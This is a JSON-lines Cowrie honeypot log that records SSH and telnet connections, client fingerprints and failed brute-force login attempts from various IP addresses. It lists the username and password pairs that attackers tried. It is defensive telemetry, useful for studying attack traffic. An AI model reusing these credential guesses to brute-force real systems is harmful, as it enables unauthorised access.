{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47732,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ddbbbae93b7","protocol":"ssh","message":"New connection: 103.122.221.179:47732 (159.203.135.109:22) [session: 9ddbbbae93b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:53.220138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:53.223837Z","src_ip":"103.122.221.179","session":"9ddbbbae93b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:53.478121Z","src_ip":"103.122.221.179","session":"9ddbbbae93b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02061994","message":"login attempt [root/02061994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:54.242395Z","src_ip":"103.122.221.179","session":"9ddbbbae93b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:56:55.499588Z","src_ip":"103.122.221.179","session":"9ddbbbae93b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":60290,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c8b2548d46","protocol":"ssh","message":"New connection: 20.228.179.34:60290 (10.17.0.5:22) [session: 24c8b2548d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:06.017732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:06.021171Z","src_ip":"20.228.179.34","session":"24c8b2548d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:06.031112Z","src_ip":"20.228.179.34","session":"24c8b2548d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atom","password":"atom321","message":"login attempt [atom/atom321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:06.060550Z","src_ip":"20.228.179.34","session":"24c8b2548d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:07.075392Z","src_ip":"20.228.179.34","session":"24c8b2548d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38372,"dst_ip":"10.17.0.5","dst_port":22,"session":"737df288b3a3","protocol":"ssh","message":"New connection: 103.15.222.183:38372 (10.17.0.5:22) [session: 737df288b3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:23.040112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:23.044403Z","src_ip":"103.15.222.183","session":"737df288b3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:23.269975Z","src_ip":"103.15.222.183","session":"737df288b3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199202","message":"login attempt [root/199202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:23.950385Z","src_ip":"103.15.222.183","session":"737df288b3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:25.178671Z","src_ip":"103.15.222.183","session":"737df288b3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.24417185783386,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:43.557564Z","src_ip":"137.184.5.188","session":"7123c5021424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29160,"dst_ip":"159.203.135.109","dst_port":22,"session":"dee5094106ac","protocol":"ssh","message":"New connection: 38.93.206.2:29160 (159.203.135.109:22) [session: dee5094106ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:49.534172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:49.537065Z","src_ip":"38.93.206.2","session":"dee5094106ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:49.586685Z","src_ip":"38.93.206.2","session":"dee5094106ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcdonald","message":"login attempt [root/mcdonald] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:49.739450Z","src_ip":"38.93.206.2","session":"dee5094106ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:50.801232Z","src_ip":"38.93.206.2","session":"dee5094106ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"381e4d9dffc9","protocol":"telnet","message":"New connection: 137.184.5.188:41974 (159.203.135.109:23) [session: 381e4d9dffc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:57:52.928507Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":58526,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4e88203180","protocol":"ssh","message":"New connection: 66.29.142.197:58526 (159.203.135.109:22) [session: ae4e88203180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:05.872366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:05.876436Z","src_ip":"66.29.142.197","session":"ae4e88203180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:05.942108Z","src_ip":"66.29.142.197","session":"ae4e88203180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit789","message":"login attempt [root/bybit789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:06.139544Z","src_ip":"66.29.142.197","session":"ae4e88203180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:07.209148Z","src_ip":"66.29.142.197","session":"ae4e88203180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.224.93.149","src_port":33338,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ae4ab99e747","protocol":"telnet","message":"New connection: 18.224.93.149:33338 (10.17.0.5:23) [session: 0ae4ab99e747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:23.796045Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.224.93.149","src_port":40744,"dst_ip":"10.17.0.5","dst_port":22,"session":"03eeb6d9ffea","protocol":"ssh","message":"New connection: 18.224.93.149:40744 (10.17.0.5:22) [session: 03eeb6d9ffea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:24.515602Z"}
{"eventid":"cowrie.session.closed","duration":0.9578616619110107,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:24.753779Z","src_ip":"18.224.93.149","session":"0ae4ab99e747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:24.880637Z","src_ip":"18.224.93.149","session":"03eeb6d9ffea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":55680,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9db47f3dbdd","protocol":"ssh","message":"New connection: 69.163.176.54:55680 (10.17.0.5:22) [session: b9db47f3dbdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:51.666813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:51.670649Z","src_ip":"69.163.176.54","session":"b9db47f3dbdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:51.741371Z","src_ip":"69.163.176.54","session":"b9db47f3dbdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dymension","password":"dymension123","message":"login attempt [dymension/dymension123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:51.954370Z","src_ip":"69.163.176.54","session":"b9db47f3dbdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:58:53.027847Z","src_ip":"69.163.176.54","session":"b9db47f3dbdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.58007049560547,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:13.508473Z","src_ip":"137.184.5.188","session":"381e4d9dffc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d22c6e4a457","protocol":"telnet","message":"New connection: 72.167.226.244:60764 (10.17.0.5:23) [session: 1d22c6e4a457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:18.271822Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":45526,"dst_ip":"159.203.135.109","dst_port":22,"session":"49cd784c5216","protocol":"ssh","message":"New connection: 178.128.39.166:45526 (159.203.135.109:22) [session: 49cd784c5216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:22.776445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:22.792901Z","src_ip":"178.128.39.166","session":"49cd784c5216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:22.876072Z","src_ip":"178.128.39.166","session":"49cd784c5216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1234","message":"login attempt [root/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:23.265909Z","src_ip":"178.128.39.166","session":"49cd784c5216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:24.367373Z","src_ip":"178.128.39.166","session":"49cd784c5216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":34128,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad0d1dff039","protocol":"telnet","message":"New connection: 137.184.5.188:34128 (159.203.135.109:23) [session: fad0d1dff039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:32.198000Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":41376,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fc74d661bbb","protocol":"telnet","message":"New connection: 72.167.226.244:41376 (10.17.0.5:23) [session: 1fc74d661bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:41.153162Z"}
{"eventid":"cowrie.session.closed","duration":30.880740642547607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:59:49.152406Z","src_ip":"72.167.226.244","session":"1d22c6e4a457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":40390,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ae7e19ef69","protocol":"ssh","message":"New connection: 162.144.105.39:40390 (159.203.135.109:22) [session: 24ae7e19ef69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:11.390971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:11.396042Z","src_ip":"162.144.105.39","session":"24ae7e19ef69","protocol":"ssh"}
